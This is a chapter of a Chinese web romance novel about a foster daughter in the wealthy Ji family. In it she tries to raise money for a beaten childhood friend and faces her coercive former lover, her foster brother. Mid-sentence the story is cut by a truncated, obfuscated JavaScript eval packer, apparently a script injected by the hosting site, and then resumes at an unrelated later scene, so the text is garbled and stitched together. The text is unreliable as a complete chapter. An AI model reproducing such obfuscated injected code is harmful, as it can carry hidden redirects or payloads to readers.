13 章 夜里,纪宅院子灯光明亮,树影婆娑。 屋内正要享用晚饭,玄关那传来动静,佣人说是二少爷回来了。 纪老爷子笑道:“冽危啊,来的正好,终于有时间陪爷爷吃晚饭了。” 钟栖月端正坐着,头微微低垂,直到感觉一道影子落在自己身上,而后响起了清润好听的声音。 “不是爷爷总说我是大忙人?今晚我特地赶回来陪您吃晚饭了。” “过来坐,坐到爷爷这。” 纪冽危眼神不经意地从钟栖月白皙的后颈掠过,“好。” 不过就是极其普通的路过,纪冽危像往常一样,站在钟栖月身后短暂停留片刻,再回了自己的位置,没什么异常。 偏偏钟蕊看到这一幕,眸色微变。 整个晚饭,钟蕊都刻意在观察纪冽危和钟栖月之间的氛围,期间除了纪冽危时不时朝钟栖月这看过来几眼外,也没什么特殊的。 可纪冽危是谁? 他什么时候会这样平白无故的关注旁人? 还是一个在家里,应该被他厌恶的人。 晚饭后,纪冽危和纪老爷子在一楼对弈。 钟栖月要上楼休息,钟蕊特地留她下来说要谈心。 后来,钟栖月实在困得撑不住了,找借口回房间,她走了没多久,纪冽危也趁机回了三楼。 “钟夫人?” 佣人见钟蕊一直望着上楼的方向,许久没动,好奇问她有什么事。 钟蕊回神,说自己刚刚在想事情。 比如,她在纪冽危房里看到的那个画像,究竟是为什么。 - 这天下班,钟栖月本打算约徐紫芸出来吃饭,这段时间她身边的事太多,无论是工作还是生活,让她忙碌又疲惫,很久没有跟发小出来吃饭放松了。 电话刚接通,徐紫芸那边声音有点不对劲,钟栖月问她发生什么事了。 在追问下,徐紫芸才老实说:“月月,你方便的话能来医院看看远方吗?” 钟栖月赶到医院的时候,已经是晚上了。 徐紫芸在楼下等她,接到人后,便把郑远方的情况都说了,“还是上次那事,惹到不该惹的人,欠债五十万,远方拿不出钱来,然后就被打成这样了。” 钟栖月气愤道:“那些人是无赖吗?为什么不能报警?” 徐紫芸说:“远方不让报,他那次没有跟你说实话,其实他欠债不是把人的车子擦了,是他母亲重病,家里实在拿不出钱了,他走投无路了才去找那些人借钱,利滚利就到了这个数目。” 当钟栖月进入病房时,看到躺在那,浑身是伤,几乎奄奄一息的青年,鼻腔酸涩涌了上来。 她想起幼时在随南的过往。 那时候,她在那个小镇里被同年龄段的小孩取过一个外号,说她是狐狸精的女儿,小狐狸精。 “我妈妈说了,她养母是别人的情妇,抱她回去抚养就是为了让她长大了走养母狐狸精的路。” “我爸妈还说了,不让我跟这种不三不四的孩子玩!” “狐狸精狐狸精,你们看啊,她才这么小,眼睛就这么会勾人了,我妈说了她这种眼神一看就是在家里被她那养母精心培训出来的!” “不要跟她玩了,听说她以后也要跟着她妈妈一起去大城市给富豪做情人!” 从她记事以来,她听到最多的就是这种话。 她在随南交不到朋友,跟养母哭诉,得到的只有指责,骂她心理承受能力弱,连这点骂声都接受不了。 养母还说她眼睛的确很媚态啊,这可不是她教的,说不定生来就是做狐狸精的料子。 那时候她年龄很小,养母很多话都是当着她的面直接说,以为她听不懂。 其实她都明白的。 后来她知道了,受了委屈不能告诉养母,她只有外婆了,外婆对她最好,面对她发生的这种事,外婆虽然心疼,但也没办法,只能让她别往心里去。 后来她被其他孩子欺负的时候,是郑远方维护了她。 郑远方会帮她打跑那些欺负她的孩子,告诉她有什么难过的事,吃饱后就能忘了。 他不是多么伟大的人,但对小时候的钟栖月来说,他是她心里的英雄,因为郑远方,她也认识了徐紫芸。 郑远方和徐紫芸,是她在随南唯二交到的朋友,这份友情也是她内心唯一纯净的小天地。 他们清楚她那些悲伤到没人知道的童年经历,也清楚她到了纪家的无可奈何,二十岁那年她和徐紫芸重逢后,他们一直私下维持着好友的联系。 钟栖月泪流满面,哑声说:“为什么,他的母亲生病需要钱,为什么不找我呢?” 我们不是朋友吗? 医院安静的走道,徐紫芸眼圈通红说:“远方知道你在纪家不容易,所以……” “所以他宁愿去找那群流氓也不找我?他真的拿我当朋友吗?” 徐紫芸紧咬着牙,严肃道:“钟栖月!你怎么能说这种话?他就是拿你当朋友才不想拖累你的!你明知道他是个很重情义的人,你怎么能说这种话伤他……” 钟栖月背过身去,单薄的肩膀轻轻颤动。 徐紫芸哭着说:“我知道你是难过,但是,他现在已经这样了,月月,远方他该怎么办,出院后如果他还拿不出钱,可能那群人真的会要他的命。” 钟栖月擦干泪,转过身来,盯着病房门口的方向,轻声说:“你先别担心,这件事交给我。” “交给你?”徐紫芸为难说:“五十万不是小数目,我知道你养母一直防你,不让你身上有太多钱,你上哪去筹?” 钟栖月没说自己怎么筹,“我有办法的,这段时间他住院的时候,你就多照看了,等我这边有消息了,我再联系你。” 从医院出来,钟栖月急忙回到了纪家。 钟蕊正要喊她过来说话,她只说自己有要紧的工作,没时间,她回到房间把自己身边所有值钱的东西都翻了一个遍。 除了纪冽危在国外给她寄的那个相机,身边竟然没有一个值钱的东西。 跟纪冽危交往的那四年,他送过她不少价值不菲的礼物,因为担心被养母发现,她都藏了起来碰也不敢碰,分手后,也把那些礼物都原封不动还给了纪冽危。 她的银行卡,统共也就几万块钱,那五十万她能去哪筹? - 晚上吃饭的时候,除了纪冽危,纪家的孩子都到的挺齐。 晚饭吃完,长辈都散去后,纪依雪吐槽说:“冽危哥还真是大忙人啊,我都好些天没看到他回家睡觉了。” 纪家的规矩,看来对纪冽危是完全没用的。 纪灌云坐沙发那,一脸显摆:“你们想知道冽危哥今晚在哪儿吗?” “在哪?”纪静宁问。 “我这边可是有独家消息,听说他今晚在盛世公馆聚会,那盛世公馆可是他好兄弟周余寒的地盘,周家公子那惯来花天酒地的名声,你们懂得。” “我懂个屁,我真是看错冽危哥了,还以为他只是表面看起来很会玩,没想到实际上也是个沉迷女色的渣男啊。” “话不能这么说,冽危哥出去找女人,那不叫渣,那叫给女人谋福利。” “啧。”纪依雪撇撇嘴,肩膀轻轻撞了下身旁魂不守舍的钟栖月,“月月,你也说几句呗?咱们女人要站在同一阵线上。” 钟栖月垂眸:“我没什么好说的,没事的话,我先上楼了。” 等钟栖月离开后,纪灌云数落纪依雪,“你没事把月月拉进来做什么,明知道她很害怕冽危哥,还敢让她点评,怕是这会儿心里都吓得发抖了。” 夜色笼罩下的盛世公馆。 灯红酒绿,数名衣着暴露的男男女女在舞池中央扭动腰肢,周余寒搂着一个妖艳的女人坐过来,“嗯?今晚怎么没什么兴致,平时不很会喝么?” “你一直看着手机干嘛?” 纪冽危咬着烟,飞镖从他指尖像利箭射出,精准中靶,他轻轻吐了一圈烟雾,笑容雅痞:“没什么,不过想看看,有只没良心的小兔子,究竟有多能忍。” 周余寒听不懂他说什么,一把推开身旁的女人,点燃烟问:“对了,我可听说明廷笙最近在跟你家妹妹相亲,方便透露一下呗,是哪个妹妹?” “你纪冽危的妹妹那么多,还真不知道哪个能入得了他明家人的眼,明家可是整个北城最古板封建的名门家庭,祖上是清流书香门第出身,所以对家里的媳妇要求可以说很严苛的,就你那几个妹妹,啧。” 周余寒回想了一下,“感觉都不是能安分的大小姐啊。” “该不会是……” 周余寒想起了一个被他忽略了很久的妹妹,惊讶道:“不会是那位看到你时,眼睛总是红通通,胆子就芝麻大点的妹妹吧,那她可惨了,明家的要求规矩,寻常人肯定没办法能做到。” 寻常人?“她可不是寻常人。” “嗯?你这话什么意思,听起来很了解你那妹妹。” 能不了解吗?那四年里,数不清多少个夜,他们是这世上最亲密无间的两个人。 “纪少~”一道妩媚妖娆的声音插.了过来,这声音听得周余寒尾椎都麻了,看过去,不就是圈内让无数子弟追捧的的大美人白嫣吗? 这个白嫣听说起先是某大佬包养的金丝雀,每日受尽了大佬性.癖的折磨,后来那大佬因为在项目上和纪家有了冲突,纪冽危使了点手段把大佬弄的身败名裂,不仅破产,还把他送去吃了牢饭。 也算是解救了,被迫委身大佬的白嫣。 自那以后,白嫣便一心想爬上纪冽危的床。 周余寒眉毛都竖了起来,“我靠,谁放你进来的?” 白嫣朝周余寒抛去媚眼,“这说的什么话,咱们都这么熟了。” “谁跟你熟了?” “行,不熟,那我跟纪少熟。” “我看你就是找死,趁早回去。” “回去做什么呀?听说今晚周少在这玩闹,我这不是特地过来陪各位解闷吗?” 白嫣今天本来就是冲着纪冽危来的,见他连个眼神都不给她,心里酸得不行,“纪少一直看着手机,该不会是恋爱了吧?听说只有陷入恋爱中的笨蛋才会一直看手机呢。” 周余寒听了这话一直笑,“恋爱?就纪冽危?只有别人被他吊着的命,他哪能真的把自己的心贡献出去。” “最好是呢。”白嫣酸不溜秋地坐过去,“纪少,你也看看我吧,我今晚可是特地来找你的,我可听说了,纪老爷子一直想给你找个门当户对的相亲对象呢,不过你放心,我这人很有自知之明,知道我身份进不了你纪家的门,我呢,就做外面那个女人就好了。” 这话哪个男人听了不会心动?有个如此妩媚妖娆的女人,心甘情愿说愿意没名没分,只要留在他身旁就好。 偏偏当事人纪冽危,冷静到仿佛白嫣表真心的对象并非是他。 他眼神瞥了过来。 白嫣心神一晃,即使是那往常般凉薄无情的眸子,她仍旧为之倾倒。 这个站在北城名门圈顶点的男人,无论是身家和长相还有气质,都是最优越的那一位,他就像雪山顶端的高岭之花,沐浴着清冷的月华,轻轻松松就可以让任何一个女人为之着迷。 偏生这种看谁,都像在看死人的眼神,也更让人无法自拔。 “嗯?纪少这样看着我,做什么呀?”白嫣羞涩问。 纪冽危轻描淡写地说:“这位女士,不想被丢出去的话,最好三秒内从我视线里,离开。” “我,我只是……” “三。” “纪少,人家只是太喜欢……” “二。” “纪……” “一。” 话音刚落,两名黑衣人不知从何处窜出来,一人掐着白嫣的一边手臂,捂着她的嘴,将她狼狈的拖了出去。 周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那是一枚极其精致的戒指,内圈印了JLW&ZQY的缩写,是当初在交往时,纪冽危特地找人为她打造的,全世界独一无二的戒指。 后来分手了,她把他送给她的所有礼物都原封不动还给了纪冽危,唯独这枚被她珍藏起来的戒指忘了。 今晚她在自己房间抽屉,从那个被尘封起来的盒子里翻到这枚戒指时,一瞬间觉得看到了希望。 她知道这枚戒指大概值百万,要是她真的需要那五十万,完全可以拿戒指去抵押。 可她不想,也不敢。 这枚戒指,实在太贵重了。 思来想去,她只能靠这枚戒指,以求得纪冽危暂时的接济。 纪冽危轻笑,声线低哑:“妹妹,你可真有趣,拿哥哥的戒指来抵押?嗯?信不信我现在一通电话就可以把你送进警察局?” 他用无比温柔的口吻,说着最狠戾的话。 钟栖月深吸一口气,抬眸看他:“哥,这戒指送给我,就是我的了。” 纪冽危盯着她水盈盈的眸子。 “哥哥也就离开一年,你那芝麻大点的胆子,倒是长进了不少。” 他转身在那沙发落坐,神态倦怠:“怎么,你那发小就这么重要?” 钟栖月一怔,惊讶问:“你知道了?” “所以,你也是放任那些人殴打远方的?” “你可别冤死哥哥了。”这话听着委屈,语气却是不屑的,连郑远方的事都懒得多加交谈。 落坐后,他双腿交叠,一派松弛,挺拔的身躯在这窄小的沙发处,显得愈发高大。 漆黑的卧室,他面容晦暗。 两人无言沉默了半晌,纪冽危淡声说:“去把我的衣柜打开。” 钟栖月不明白,“为什么……” “打开你就知道了。” 钟栖月摸着黑,小步地朝衣柜那过去。 纪冽危注视着她纤弱的背影,柔声说:“我屋子的摆设,你闭着眼都不会迷路,栖月,是还需要我扶着你过去吗?” 钟栖月后背发凉,小声说:“不需要。” 她打开衣柜,在里面看到了一个精致的礼盒。 纪冽危吩咐:“打开。” 不知怎么的,她忽然有个不太好的预感,迟疑着,在他的注视下,钟栖月慢吞吞把盒子打开。 月色从窗台照入,借着朦胧的月光,她只能看到一件布料单薄的性感连衣裙。 还有一双细高跟的鞋子。 “这……”看清是什么,她心都提了起来。 纪冽危不知何时走了过来,再抬眸时,撞入了他漆黑的眸子。 他似笑非笑,眼里含着温柔:“忘了?这可是你那天对哥哥做出下流事穿的裙子。” “哥,我……” 纪冽危轻轻摩挲她冰凉的额角,说:“栖月,把它换上,再跟哥哥说话。” 这套裙子,瞬间让钟栖月回到了高中毕业的那个荒唐夜晚。 她做梦也没想到,都过去五年了,这身衣服和鞋子,纪冽危竟还完好保存着。 “我可不可以不穿……”她声音很细,羞耻地问。 “当然可以,”纪冽危只是笑,“不过今晚哥哥大概也没办法让栖月如愿了。” 钟栖月身体微僵,握着礼盒的指尖开始泛白。 纪冽危将手搭在她鼻梁的眼镜框上,语调懒散浅淡:“还有这幅眼镜,摘了。” “为,为什么……” “我记得那晚,你就没有戴。”这幅眼镜,几乎将她好看的眉眼都遮挡了大半,真是碍眼极了。 纪冽危声音低哑,诱惑般说:“栖月,为了哥哥,把它摘了。”